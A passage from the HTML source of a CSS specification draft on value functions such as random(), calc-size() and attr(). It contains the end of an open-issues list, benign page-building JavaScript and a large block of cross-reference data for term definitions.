section">↵</a></div> <div class="issue"> Should this have a different name? We didn’t quite decide on it during the resolution to add this. <a class="issue-return" href="#issue-3679a886" title="Jump to section">↵</a></div> <div class="issue"> Investigate partial tainting of custom property values. <a class="issue-return" href="#issue-36b2e6b3" title="Jump to section">↵</a></div> <div class="issue"> Should we allow a fallback value? <a href="https://github.com/w3c/csswg-drafts/issues/11424">[Issue #w3c/csswg-drafts#11424]</a> <a class="issue-return" href="#issue-c34fe37b" title="Jump to section">↵</a></div> <div class="issue"> At least in theory it should be fine to use <a class="css" data-link-type="maybe" href="#funcdef-random">random()</a> in non-property contexts, so long as per-element isn’t specified; it’s well-defined what happens with <code class="highlight"><c- n>@media</c-> <c- p>(</c->max-width: <c- nf>random</c-><c- p>(</c-><c- m>100</c-><c- k>px</c-><c- p>,</c-> <c- m>500</c-><c- k>px</c-><c- p>))</c-> <c- p>{</c->...<c- p>}</c-></code>, for example. I suspect we want to disallow it, tho? <a class="issue-return" href="#issue-2146881a" title="Jump to section">↵</a></div> <div class="issue"> Define <a data-link-type="dfn" href="#arbitrary-substitution-function">arbitrary substitution function</a>, probably over in Variables, since we have several upcoming functions leaning on this functionality. <a class="issue-return" href="#issue-36f85add" title="Jump to section">↵</a></div> <div class="issue"> Since <a class="css" data-link-type="maybe" href="#funcdef-random-item">random-item()</a> is var()-like, we probably want to restrict it to only be usable in properties. (This is likely something we want to apply to all such functions.) Tho <a class="css" data-link-type="maybe" href="#funcdef-random">random()</a> is a fundamentally different kind of value, we probably want to restrict it as well, for thematic consistency. <a class="issue-return" href="#issue-56846ba6" title="Jump to section">↵</a></div> <div class="issue"> Should any of these functions be valid in contexts outside of properties? <a class="issue-return" href="#issue-2cf4bbb3" title="Jump to section">↵</a></div> </div> <script>/* Boilerplate: script-dom-helper */ "use strict"; function query(sel) { return document.querySelector(sel); } function queryAll(sel) { return [...document.querySelectorAll(sel)]; } function iter(obj) { if(!obj) return []; var it = obj[Symbol.iterator]; if(it) return it; return Object.entries(obj); } function mk(tagname, attrs, ...children) { const el = document.createElement(tagname); for(const [k,v] of iter(attrs)) { if(k.slice(0,3) == "_on") { const eventName = k.slice(3); el.addEventListener(eventName, v); } else if(k[0] == "_") { // property, not attribute el[k.slice(1)] = v; } else { if(v === false || v == null) { continue; } else if(v === true) { el.setAttribute(k, ""); continue; } else { el.setAttribute(k, v); } } } append(el, children); return el; } /* Create shortcuts for every known HTML element */ [ "a", "abbr", "acronym", "address", "applet", "area", "article", "aside", "audio", "b", "base", "basefont", "bdo", "big", "blockquote", "body", "br", "button", "canvas", "caption", "center", "cite", "code", "col", "colgroup", "datalist", "dd", "del", "details", "dfn", "dialog", "div", "dl", "dt", "em", "embed", "fieldset", "figcaption", "figure", "font", "footer", "form", "frame", "frameset", "head", "header", "h1", "h2", "h3", "h4", "h5", "h6", "hr", "html", "i", "iframe", "img", "input", "ins", "kbd", "label", "legend", "li", "link", "main", "map", "mark", "meta", "meter", "nav", "nobr", "noscript", "object", "ol", "optgroup", "option", "output", "p", "param", "pre", "progress", "q", "s", "samp", "script", "section", "select", "small", "source", "span", "strike", "strong", "style", "sub", "summary", "sup", "table", "tbody", "td", "template", "textarea", "tfoot", "th", "thead", "time", "title", "tr", "u", "ul", "var", "video", "wbr", "xmp", ].forEach(tagname=>{ mk[tagname] = (...args) => mk(tagname, ...args); }); function* nodesFromChildList(children) { for(const child of children.flat(Infinity)) { if(child instanceof Node) { yield child; } else { yield new Text(child); } } } function append(el, ...children) { for(const child of nodesFromChildList(children)) { if(el instanceof Node) el.appendChild(child); else el.push(child); } return el; } function insertAfter(el, ...children) { for(const child of nodesFromChildList(children)) { el.parentNode.insertBefore(child, el.nextSibling); } return el; } function clearContents(el) { el.innerHTML = ""; return el; } function parseHTML(markup) { if(markup.toLowerCase().trim().indexOf('<!doctype') === 0) { const doc = document.implementation.createHTMLDocument(""); doc.documentElement.innerHTML = markup; return doc; } else { const el = mk.template({}); el.innerHTML = markup; return el.content; } }</script> <script>/* Boilerplate: script-dfn-panel */ "use strict"; { let dfnPanelData = { "04853566": {"dfnID":"04853566","dfnText":"<declaration-value>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-declaration-value"},{"id":"ref-for-typedef-declaration-value\u2460"},{"id":"ref-for-typedef-declaration-value\u2461"},{"id":"ref-for-typedef-declaration-value\u2462"}],"title":"3.1.1. \nCommas in Function Arguments"},{"refs":[{"id":"ref-for-typedef-declaration-value\u2463"}],"title":"3.3.1. \nParsing as <syntax>"},{"refs":[{"id":"ref-for-typedef-declaration-value\u2464"},{"id":"ref-for-typedef-declaration-value\u2465"},{"id":"ref-for-typedef-declaration-value\u2466"}],"title":"7.2. \nSelecting the First Supported Value: the first-valid() notation"},{"refs":[{"id":"ref-for-typedef-declaration-value\u2467"},{"id":"ref-for-typedef-declaration-value\u2468"},{"id":"ref-for-typedef-declaration-value\u2460\u24ea"},{"id":"ref-for-typedef-declaration-value\u2460\u2460"}],"title":"7.3. \nConditional Value Selection: the if() notation"},{"refs":[{"id":"ref-for-typedef-declaration-value\u2460\u2461"}],"title":"7.6. \nInherited Value References: the inherit() notation"},{"refs":[{"id":"ref-for-typedef-declaration-value\u2460\u2462"},{"id":"ref-for-typedef-declaration-value\u2460\u2463"}],"title":"7.7. \nAttribute References: the attr() notation"},{"refs":[{"id":"ref-for-typedef-declaration-value\u2460\u2464"}],"title":"7.7.1. \nAttribute Value Substitution: the attr() notation"},{"refs":[{"id":"ref-for-typedef-declaration-value\u2460\u2465"},{"id":"ref-for-typedef-declaration-value\u2460\u2466"}],"title":"8.2. \nPicking a Random Item From a List: the random-item() function"}],"url":"https://www.w3.org/TR/css-syntax-3/#typedef-declaration-value"}, "056c7f30": {"dfnID":"056c7f30","dfnText":"font-family","external":true,"refSections":[{"refs":[{"id":"ref-for-propdef-font-family"}],"title":"3.1.1. \nCommas in Function Arguments"}],"url":"https://www.w3.org/TR/CSS21/fonts.html#propdef-font-family"}, "0644a74e": {"dfnID":"0644a74e","dfnText":"color-mix()","external":true,"refSections":[{"refs":[{"id":"ref-for-funcdef-color-mix"}],"title":"6. \nMixing and Interpolation Notations: the *-mix() family"},{"refs":[{"id":"ref-for-funcdef-color-mix\u2460"},{"id":"ref-for-funcdef-color-mix\u2461"},{"id":"ref-for-funcdef-color-mix\u2462"},{"id":"ref-for-funcdef-color-mix\u2463"}],"title":"6.3. \nInterpolated Color Values: the color-mix() notation"}],"url":"https://www.w3.org/TR/css-color-5/#funcdef-color-mix"}, "0698d556": {"dfnID":"0698d556","dfnText":"string","external":true,"refSections":[{"refs":[{"id":"ref-for-string"}],"title":"3.3.1. \nParsing as <syntax>"}],"url":"https://infra.spec.whatwg.org/#string"}, "07582c28": {"dfnID":"07582c28","dfnText":"referrer policy","external":true,"refSections":[{"refs":[{"id":"ref-for-concept-request-referrer-policy"}],"title":"4.1.1. \nRequest URL Modifiers"}],"url":"https://fetch.spec.whatwg.org/#concept-request-referrer-policy"}, "094771ea": {"dfnID":"094771ea","dfnText":"URL request modifier steps","external":true,"refSections":[{"refs":[{"id":"ref-for-url-request-modifier-steps"},{"id":"ref-for-url-request-modifier-steps\u2460"},{"id":"ref-for-url-request-modifier-steps\u2461"},{"id":"ref-for-url-request-modifier-steps\u2462"},{"id":"ref-for-url-request-modifier-steps\u2463"}],"title":"4.1.1. \nRequest URL Modifiers"}],"url":"https://www.w3.org/TR/css-values-4/#url-request-modifier-steps"}, "0a000463": {"dfnID":"0a000463","dfnText":"media feature","external":true,"refSections":[{"refs":[{"id":"ref-for-media-feature"}],"title":"5. \nInterpolation Progress Functional Notations"},{"refs":[{"id":"ref-for-media-feature\u2460"},{"id":"ref-for-media-feature\u2461"},{"id":"ref-for-media-feature\u2462"}],"title":"5.2. \nMedia Query Progress Values: the media-progress() notation"},{"refs":[{"id":"ref-for-media-feature\u2463"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"}],"url":"https://www.w3.org/TR/mediaqueries-5/#media-feature"}, "0aac835b": {"dfnID":"0aac835b","dfnText":"keyword","external":true,"refSections":[{"refs":[{"id":"ref-for-css-keyword"},{"id":"ref-for-css-keyword\u2460"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"}],"url":"https://www.w3.org/TR/css-values-4/#css-keyword"}, "0e8de730": {"dfnID":"0e8de730","dfnText":"tuple","external":true,"refSections":[{"refs":[{"id":"ref-for-tuple"},{"id":"ref-for-tuple\u2460"}],"title":"8.3. \nGenerating/Caching Random Values: the <random-caching-options> value"}],"url":"https://infra.spec.whatwg.org/#tuple"}, "0ebbb0e7": {"dfnID":"0ebbb0e7","dfnText":"declaration","external":true,"refSections":[{"refs":[{"id":"ref-for-x19"}],"title":"7.7.3. \nCycles"}],"url":"https://www.w3.org/TR/CSS21/syndata.html#x19"}, "11bd87b9": {"dfnID":"11bd87b9","dfnText":"top-level calculation","external":true,"refSections":[{"refs":[{"id":"ref-for-top-level-calculation"}],"title":"\nAppendix B: Boolean Logic"}],"url":"https://www.w3.org/TR/css-values-4/#top-level-calculation"}, "128295ac": {"dfnID":"128295ac","dfnText":"<percentage>","external":true,"refSections":[{"refs":[{"id":"ref-for-percentage-value"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"},{"refs":[{"id":"ref-for-percentage-value\u2460"},{"id":"ref-for-percentage-value\u2461"}],"title":"4.2. \n2D Positioning: the <position> type"},{"refs":[{"id":"ref-for-percentage-value\u2462"}],"title":"4.2.1. \nParsing <position>"},{"refs":[{"id":"ref-for-percentage-value\u2463"}],"title":"5.1. \nCalculated Progress Values: the progress() notation"},{"refs":[{"id":"ref-for-percentage-value\u2464"}],"title":"6. \nMixing and Interpolation Notations: the *-mix() family"},{"refs":[{"id":"ref-for-percentage-value\u2465"},{"id":"ref-for-percentage-value\u2466"},{"id":"ref-for-percentage-value\u2467"}],"title":"6.1. \nRepresenting Interpolation Progress: the <progress> type"},{"refs":[{"id":"ref-for-percentage-value\u2468"}],"title":"6.2. \nInterpolated Numeric and Dimensional Values: the calc-mix() notation"},{"refs":[{"id":"ref-for-percentage-value\u2460\u24ea"},{"id":"ref-for-percentage-value\u2460\u2460"},{"id":"ref-for-percentage-value\u2460\u2461"}],"title":"6.3. \nInterpolated Color Values: the color-mix() notation"},{"refs":[{"id":"ref-for-percentage-value\u2460\u2462"}],"title":"6.4. \nInterpolated Image Values: the cross-fade() notation"},{"refs":[{"id":"ref-for-percentage-value\u2460\u2463"}],"title":"6.5. \nInterpolated Transform Values: the transform-mix() notation"},{"refs":[{"id":"ref-for-percentage-value\u2460\u2464"},{"id":"ref-for-percentage-value\u2460\u2465"},{"id":"ref-for-percentage-value\u2460\u2466"},{"id":"ref-for-percentage-value\u2460\u2467"}],"title":"8.1. \nGenerating a Random Numeric Value: the random() function"}],"url":"https://www.w3.org/TR/css-values-4/#percentage-value"}, "133ee38d": {"dfnID":"133ee38d","dfnText":"stretch","external":true,"refSections":[{"refs":[{"id":"ref-for-valdef-width-stretch"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"}],"url":"https://www.w3.org/TR/css-sizing-4/#valdef-width-stretch"}, "14d3255d": {"dfnID":"14d3255d","dfnText":"calc()","external":true,"refSections":[{"refs":[{"id":"ref-for-funcdef-calc"}],"title":"5.1. \nCalculated Progress Values: the progress() notation"},{"refs":[{"id":"ref-for-funcdef-calc\u2460"}],"title":"6. \nMixing and Interpolation Notations: the *-mix() family"},{"refs":[{"id":"ref-for-funcdef-calc\u2461"}],"title":"6.2. \nInterpolated Numeric and Dimensional Values: the calc-mix() notation"},{"refs":[{"id":"ref-for-funcdef-calc\u2462"}],"title":"7.4. \nToggling Between Values: the toggle() notation"},{"refs":[{"id":"ref-for-funcdef-calc\u2463"},{"id":"ref-for-funcdef-calc\u2464"},{"id":"ref-for-funcdef-calc\u2465"},{"id":"ref-for-funcdef-calc\u2466"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"},{"refs":[{"id":"ref-for-funcdef-calc\u2467"}],"title":"\nAppendix A: Arbitrary Substitution Functions"}],"url":"https://www.w3.org/TR/css-values-4/#funcdef-calc"}, "15d1a46a": {"dfnID":"15d1a46a","dfnText":"value definition syntax","external":true,"refSections":[{"refs":[{"id":"ref-for-css-value-definition-syntax"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"},{"refs":[{"id":"ref-for-css-value-definition-syntax\u2460"}],"title":"\nChanges"},{"refs":[{"id":"ref-for-css-value-definition-syntax\u2461"}],"title":"\nAdditions Since Level 4"}],"url":"https://www.w3.org/TR/css-values-4/#css-value-definition-syntax"}, "16d07e10": {"dfnID":"16d07e10","dfnText":"for each","external":true,"refSections":[{"refs":[{"id":"ref-for-list-iterate"}],"title":"\nAppendix A: Arbitrary Substitution Functions"}],"url":"https://infra.spec.whatwg.org/#list-iterate"}, "1748bbeb": {"dfnID":"1748bbeb","dfnText":"details","external":true,"refSections":[{"refs":[{"id":"ref-for-the-details-element"}],"title":"10.3. \nInterpolating calc-size()"}],"url":"https://html.spec.whatwg.org/multipage/interactive-elements.html#the-details-element"}, "176cfa24": {"dfnID":"176cfa24","dfnText":"margin-top","external":true,"refSections":[{"refs":[{"id":"ref-for-propdef-margin-top"},{"id":"ref-for-propdef-margin-top\u2460"},{"id":"ref-for-propdef-margin-top\u2461"},{"id":"ref-for-propdef-margin-top\u2462"}],"title":"\nAppendix A: Arbitrary Substitution Functions"}],"url":"https://www.w3.org/TR/CSS21/box.html#propdef-margin-top"}, "1d798932": {"dfnID":"1d798932","dfnText":"<string>","external":true,"refSections":[{"refs":[{"id":"ref-for-string-value"},{"id":"ref-for-string-value\u2460"},{"id":"ref-for-string-value\u2461"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"},{"refs":[{"id":"ref-for-string-value\u2462"},{"id":"ref-for-string-value\u2463"},{"id":"ref-for-string-value\u2464"}],"title":"4.1.1. \nRequest URL Modifiers"},{"refs":[{"id":"ref-for-string-value\u2465"}],"title":"7.7. \nAttribute References: the attr() notation"},{"refs":[{"id":"ref-for-string-value\u2466"}],"title":"7.7.1. \nAttribute Value Substitution: the attr() notation"},{"refs":[{"id":"ref-for-string-value\u2467"}],"title":"7.8. \nConstructing <custom-ident> values: the ident() function"},{"refs":[{"id":"ref-for-string-value\u2468"}],"title":"9. \nTree Counting Functions: the sibling-count() and sibling-index() notations"}],"url":"https://www.w3.org/TR/css-values-4/#string-value"}, "1fa52ca0": {"dfnID":"1fa52ca0","dfnText":"background positioning area","external":true,"refSections":[{"refs":[{"id":"ref-for-background-positioning-area"},{"id":"ref-for-background-positioning-area\u2460"}],"title":"4.2. \n2D Positioning: the <position> type"}],"url":"https://drafts.csswg.org/css-backgrounds-3/#background-positioning-area"}, "20730c34": {"dfnID":"20730c34","dfnText":"px","external":true,"refSections":[{"refs":[{"id":"ref-for-px"}],"title":"7.7. \nAttribute References: the attr() notation"}],"url":"https://www.w3.org/TR/css-values-4/#px"}, "22109b0e": {"dfnID":"22109b0e","dfnText":"flat tree","external":true,"refSections":[{"refs":[{"id":"ref-for-flat-tree"}],"title":"9. \nTree Counting Functions: the sibling-count() and sibling-index() notations"}],"url":"https://drafts.csswg.org/css-scoping-1/#flat-tree"}, "267b6766": {"dfnID":"267b6766","dfnText":"component value","external":true,"refSections":[{"refs":[{"id":"ref-for-component-value"}],"title":"3.3.1. \nParsing as <syntax>"},{"refs":[{"id":"ref-for-component-value\u2460"}],"title":"6. \nMixing and Interpolation Notations: the *-mix() family"}],"url":"https://www.w3.org/TR/css-syntax-3/#component-value"}, "27d9b7ea": {"dfnID":"27d9b7ea","dfnText":"element","external":true,"refSections":[{"refs":[{"id":"ref-for-concept-element"}],"title":"7.7. \nAttribute References: the attr() notation"}],"url":"https://dom.spec.whatwg.org/#concept-element"}, "303c8d41": {"dfnID":"303c8d41","dfnText":"flow-relative","external":true,"refSections":[{"refs":[{"id":"ref-for-flow-relative"}],"title":"4.2. \n2D Positioning: the <position> type"},{"refs":[{"id":"ref-for-flow-relative\u2460"}],"title":"\nChanges"},{"refs":[{"id":"ref-for-flow-relative\u2461"}],"title":"\nAdditions Since Level 4"}],"url":"https://www.w3.org/TR/css-writing-modes-4/#flow-relative"}, "310b3140": {"dfnID":"310b3140","dfnText":"<custom-property-name>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-custom-property-name"}],"title":"7.6. \nInherited Value References: the inherit() notation"}],"url":"https://www.w3.org/TR/css-variables-1/#typedef-custom-property-name"}, "31452ed5": {"dfnID":"31452ed5","dfnText":"transform-origin","external":true,"refSections":[{"refs":[{"id":"ref-for-propdef-transform-origin"}],"title":"4.2.1. \nParsing <position>"},{"refs":[{"id":"ref-for-propdef-transform-origin\u2460"}],"title":"4.2.2. \nSerializing <position>"}],"url":"https://www.w3.org/TR/css-transforms-1/#propdef-transform-origin"}, "35bf32f2": {"dfnID":"35bf32f2","dfnText":"<image>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-image"}],"title":"6. \nMixing and Interpolation Notations: the *-mix() family"},{"refs":[{"id":"ref-for-typedef-image\u2460"},{"id":"ref-for-typedef-image\u2461"}],"title":"6.4. \nInterpolated Image Values: the cross-fade() notation"}],"url":"https://www.w3.org/TR/css-images-3/#typedef-image"}, "388bc3fc": {"dfnID":"388bc3fc","dfnText":"selector","external":true,"refSections":[{"refs":[{"id":"ref-for-selector"}],"title":"9. \nTree Counting Functions: the sibling-count() and sibling-index() notations"}],"url":"https://www.w3.org/TR/selectors-4/#selector"}, "3ade8b07": {"dfnID":"3ade8b07","dfnText":"intrinsic size","external":true,"refSections":[{"refs":[{"id":"ref-for-intrinsic-size"},{"id":"ref-for-intrinsic-size\u2460"},{"id":"ref-for-intrinsic-size\u2461"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"}],"url":"https://www.w3.org/TR/css-sizing-3/#intrinsic-size"}, "3b4a654b": {"dfnID":"3b4a654b","dfnText":"supported syntax component name","external":true,"refSections":[{"refs":[{"id":"ref-for-css-supported-syntax-component-name"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"}],"url":"https://www.w3.org/TR/css-properties-values-api-1/#css-supported-syntax-component-name"}, "3b74dc72": {"dfnID":"3b74dc72","dfnText":":nth-child()","external":true,"refSections":[{"refs":[{"id":"ref-for-nth-child-pseudo"},{"id":"ref-for-nth-child-pseudo\u2460"}],"title":"9. \nTree Counting Functions: the sibling-count() and sibling-index() notations"}],"url":"https://www.w3.org/TR/selectors-4/#nth-child-pseudo"}, "3b7558dc": {"dfnID":"3b7558dc","dfnText":"opacity","external":true,"refSections":[{"refs":[{"id":"ref-for-propdef-opacity"},{"id":"ref-for-propdef-opacity\u2460"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"}],"url":"https://www.w3.org/TR/css-color-4/#propdef-opacity"}, "3b90bdcd": {"dfnID":"3b90bdcd","dfnText":"resolve","external":true,"refSections":[{"refs":[{"id":"ref-for-resolve"}],"title":"\nAppendix A: Arbitrary Substitution Functions"}],"url":"https://webidl.spec.whatwg.org/#resolve"}, "3beec8c9": {"dfnID":"3beec8c9","dfnText":"var()","external":true,"refSections":[{"refs":[{"id":"ref-for-funcdef-var"},{"id":"ref-for-funcdef-var\u2460"}],"title":"3.1.1. \nCommas in Function Arguments"},{"refs":[{"id":"ref-for-funcdef-var\u2461"}],"title":"4.2. \n2D Positioning: the <position> type"},{"refs":[{"id":"ref-for-funcdef-var\u2462"}],"title":"7.2. \nSelecting the First Supported Value: the first-valid() notation"},{"refs":[{"id":"ref-for-funcdef-var\u2463"},{"id":"ref-for-funcdef-var\u2464"}],"title":"7.5. \nCustom Property References: the var() notation"},{"refs":[{"id":"ref-for-funcdef-var\u2465"}],"title":"7.7. \nAttribute References: the attr() notation"},{"refs":[{"id":"ref-for-funcdef-var\u2466"}],"title":"7.7.1. \nAttribute Value Substitution: the attr() notation"},{"refs":[{"id":"ref-for-funcdef-var\u2467"},{"id":"ref-for-funcdef-var\u2468"}],"title":"7.7.3. \nCycles"},{"refs":[{"id":"ref-for-funcdef-var\u2460\u24ea"}],"title":"8.2. \nPicking a Random Item From a List: the random-item() function"},{"refs":[{"id":"ref-for-funcdef-var\u2460\u2460"},{"id":"ref-for-funcdef-var\u2460\u2461"}],"title":"\nAppendix A: Arbitrary Substitution Functions"},{"refs":[{"id":"ref-for-funcdef-var\u2460\u2462"}],"title":"\nInvalid Substitution"},{"refs":[{"id":"ref-for-funcdef-var\u2460\u2463"},{"id":"ref-for-funcdef-var\u2460\u2464"}],"title":"\nSubstitution in Shorthand Properties"},{"refs":[{"id":"ref-for-funcdef-var\u2460\u2465"}],"title":"\nSafely Handling Overly-Long Substitution"}],"url":"https://www.w3.org/TR/css-variables-1/#funcdef-var"}, "3ca24cd8": {"dfnID":"3ca24cd8","dfnText":"disc","external":true,"refSections":[{"refs":[{"id":"ref-for-value-def-disc"},{"id":"ref-for-value-def-disc\u2460"}],"title":"7.4. \nToggling Between Values: the toggle() notation"}],"url":"https://drafts.csswg.org/css2/#value-def-disc"}, "3db7b9e0": {"dfnID":"3db7b9e0","dfnText":"math function","external":true,"refSections":[{"refs":[{"id":"ref-for-math-function"},{"id":"ref-for-math-function\u2460"}],"title":"5. \nInterpolation Progress Functional Notations"},{"refs":[{"id":"ref-for-math-function\u2461"},{"id":"ref-for-math-function\u2462"}],"title":"5.1. \nCalculated Progress Values: the progress() notation"},{"refs":[{"id":"ref-for-math-function\u2463"}],"title":"5.2. \nMedia Query Progress Values: the media-progress() notation"},{"refs":[{"id":"ref-for-math-function\u2464"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"},{"refs":[{"id":"ref-for-math-function\u2465"}],"title":"6.2. \nInterpolated Numeric and Dimensional Values: the calc-mix() notation"},{"refs":[{"id":"ref-for-math-function\u2466"}],"title":"8.1. \nGenerating a Random Numeric Value: the random() function"},{"refs":[{"id":"ref-for-math-function\u2467"}],"title":"8.1.1. \nArgument Ranges"},{"refs":[{"id":"ref-for-math-function\u2468"}],"title":"10.1. \nSimplifying calc-size()"}],"url":"https://www.w3.org/TR/css-values-4/#math-function"}, "3ea2fcbb": {"dfnID":"3ea2fcbb","dfnText":"media query","external":true,"refSections":[{"refs":[{"id":"ref-for-media-query"}],"title":"3. \nValue Definition Syntax"},{"refs":[{"id":"ref-for-media-query\u2460"},{"id":"ref-for-media-query\u2461"},{"id":"ref-for-media-query\u2462"}],"title":"5.2. \nMedia Query Progress Values: the media-progress() notation"},{"refs":[{"id":"ref-for-media-query\u2463"}],"title":"5.3. \nContainer Query Progress Values: the container-progress() notation"},{"refs":[{"id":"ref-for-media-query\u2464"}],"title":"\nPrivacy Considerations"}],"url":"https://www.w3.org/TR/mediaqueries-5/#media-query"}, "408b9d41": {"dfnID":"408b9d41","dfnText":"shorthand property","external":true,"refSections":[{"refs":[{"id":"ref-for-x1"}],"title":"7.4. \nToggling Between Values: the toggle() notation"},{"refs":[{"id":"ref-for-x1\u2461"},{"id":"ref-for-x1\u2462"},{"id":"ref-for-x1\u2463"},{"id":"ref-for-x1\u2464"},{"id":"ref-for-x1\u2465"},{"id":"ref-for-x1\u2466"},{"id":"ref-for-x1\u2467"}],"title":"\nSubstitution in Shorthand Properties"}],"url":"https://www.w3.org/TR/CSS21/about.html#x1"}, "4397147f": {"dfnID":"4397147f","dfnText":"@media","external":true,"refSections":[{"refs":[{"id":"ref-for-at-ruledef-media"}],"title":"3.2. \nBoolean Expression Multiplier <boolean-expr[]>"},{"refs":[{"id":"ref-for-at-ruledef-media\u2460"}],"title":"7.3. \nConditional Value Selection: the if() notation"}],"url":"https://www.w3.org/TR/css-conditional-3/#at-ruledef-media"}, "446c663e": {"dfnID":"446c663e","dfnText":"<ident-token>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-ident-token"},{"id":"ref-for-typedef-ident-token\u2460"}],"title":"7.7. \nAttribute References: the attr() notation"}],"url":"https://www.w3.org/TR/css-syntax-3/#typedef-ident-token"}, "44e4312c": {"dfnID":"44e4312c","dfnText":"center","external":true,"refSections":[{"refs":[{"id":"ref-for-valdef-background-position-center"}],"title":"4.2.2. \nSerializing <position>"}],"url":"https://www.w3.org/TR/css-backgrounds-3/#valdef-background-position-center"}, "45398ed5": {"dfnID":"45398ed5","dfnText":"square","external":true,"refSections":[{"refs":[{"id":"ref-for-value-def-square"}],"title":"7.4. \nToggling Between Values: the toggle() notation"}],"url":"https://drafts.csswg.org/css2/#value-def-square"}, "45dae945": {"dfnID":"45dae945","dfnText":"green","external":true,"refSections":[{"refs":[{"id":"ref-for-valdef-color-green"}],"title":"8.2. \nPicking a Random Item From a List: the random-item() function"}],"url":"https://www.w3.org/TR/css-color-4/#valdef-color-green"}, "48a9c0ef": {"dfnID":"48a9c0ef","dfnText":"registered custom property","external":true,"refSections":[{"refs":[{"id":"ref-for-registered-custom-property"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"},{"refs":[{"id":"ref-for-registered-custom-property\u2460"}],"title":"3.3.1. \nParsing as <syntax>"},{"refs":[{"id":"ref-for-registered-custom-property\u2461"},{"id":"ref-for-registered-custom-property\u2462"},{"id":"ref-for-registered-custom-property\u2463"}],"title":"7.7.2. \nSecurity"},{"refs":[{"id":"ref-for-registered-custom-property\u2464"}],"title":"\nInvalid Substitution"}],"url":"https://www.w3.org/TR/css-properties-values-api-1/#registered-custom-property"}, "4905669f": {"dfnID":"4905669f","dfnText":"inherited value","external":true,"refSections":[{"refs":[{"id":"ref-for-inherited-value"},{"id":"ref-for-inherited-value\u2460"}],"title":"7.4. \nToggling Between Values: the toggle() notation"},{"refs":[{"id":"ref-for-inherited-value\u2461"}],"title":"7.6. \nInherited Value References: the inherit() notation"}],"url":"https://www.w3.org/TR/css-cascade-5/#inherited-value"}, "4920620f": {"dfnID":"4920620f","dfnText":"<any-value>","external":true,"refSections":[{"refs":[{"id":"ref-for-typedef-any-value"},{"id":"ref-for-typedef-any-value\u2460"}],"title":"3.1.1. \nCommas in Function Arguments"}],"url":"https://www.w3.org/TR/css-syntax-3/#typedef-any-value"}, "49731d1d": {"dfnID":"49731d1d","dfnText":"width","external":true,"refSections":[{"refs":[{"id":"ref-for-propdef-width"},{"id":"ref-for-propdef-width\u2460"}],"title":"6.1. \nRepresenting Interpolation Progress: the <progress> type"},{"refs":[{"id":"ref-for-propdef-width\u2461"}],"title":"7.7. \nAttribute References: the attr() notation"},{"refs":[{"id":"ref-for-propdef-width\u2462"},{"id":"ref-for-propdef-width\u2463"}],"title":"8.3. \nGenerating/Caching Random Values: the <random-caching-options> value"},{"refs":[{"id":"ref-for-propdef-width\u2464"}],"title":"10. \nCalculating With Intrinsic Sizes: the calc-size() function"}],"url":"https://www.w3.org/TR/css-sizing-3/#propdef-width"}, "4b48ffac": {"dfnID":"4b48ffac","dfnText":"parse a list of component values","external":true,"refSections":[{"refs":[{"id":"ref-for-parse-a-list-of-component-values"}],"title":"3.3.1. \nParsing as <syntax>"}],"url":"https://www.w3.org/TR/css-syntax-3/#parse-a-list-of-component-values"}, "4d06fa38": {"dfnID":"4d06fa38","dfnText":"pseudo-element","external":true,"refSections":[{"refs":[{"id":"ref-for-pseudo-element"}],"title":"9. \nTree Counting Functions: the sibling-count() and sibling-index() notations"}],"url":"https://www.w3.org/TR/selectors-4/#pseudo-element"}, "4d0c1c86": {"dfnID":"4d0c1c86","dfnText":"after-change style","external":true,"refSections":[{"refs":[{"id":"ref-for-after-change-style"}],"title":"10.4. \nInterpolating sizing keywords: the interpolate-size property"}],"url":"https://www.w3.org/TR/css-transitions-1/#after-change-style"}, "4eb9d37e": {"dfnID":"4eb9d37e","dfnText":"|","external":true,"refSections":[{"refs":[{"id":"ref-for-comb-one"},{"id":"ref-for-comb-one\u2460"},{"id":"ref-for-comb-one\u2461"},{"id":"ref-for-comb-one\u2462"},{"id":"ref-for-comb-one\u2463"},{"id":"ref-for-comb-one\u2464"},{"id":"ref-for-comb-one\u2465"},{"id":"ref-for-comb-one\u2466"},{"id":"ref-for-comb-one\u2467"}],"title":"3.2. \nBoolean Expression Multiplier <boolean-expr[]>"},{"refs":[{"id":"ref-for-comb-one\u2468"},{"id":"ref-for-comb-one\u2460\u24ea"},{"id":"ref-for-comb-one\u2460\u2460"},{"id":"ref-for-comb-one\u2460\u2461"},{"id":"ref-for-comb-one\u2460\u2462"},{"id":"ref-for-comb-one\u2460\u2463"},{"id":"ref-for-comb-one\u2460\u2464"},{"id":"ref-for-comb-one\u2460\u2465"},{"id":"ref-for-comb-one\u2460\u2466"},{"id":"ref-for-comb-one\u2460\u2467"},{"id":"ref-for-comb-one\u2460\u2468"},{"id":"ref-for-comb-one\u2461\u24ea"},{"id":"ref-for-comb-one\u2461\u2460"},{"id":"ref-for-comb-one\u2461\u2461"},{"id":"ref-for-comb-one\u2461\u2462"},{"id":"ref-for-comb-one\u2461\u2463"},{"id":"ref-for-comb-one\u2461\u2464"},{"id":"ref-for-comb-one\u2461\u2465"}],"title":"3.3. \nSpecifying CSS Syntax in CSS: the <syntax> type"},{"refs":[{"id":"ref-for-comb-one\u2461\u2466"},{"id":"ref-for-comb-one\u2461\u2467"},{"id":"ref-for-comb-one\u2461\u2468"},{"id":"ref-for-comb-one\u2462\u24ea"},{"id":"ref-for-comb-one\u2462\u2460"},{"id":"ref-for-comb-one\u2462\u2461"},{"id":"ref-for-comb-one\u2462\u2462"},{"id":"ref-for-comb-one\u2462\u2463"},{"id":"ref-for-comb-one\u2462\u2464"},{"id":"ref-for-comb-one\u2462\u2465"}],"title":"4.1.1. \nRequest URL 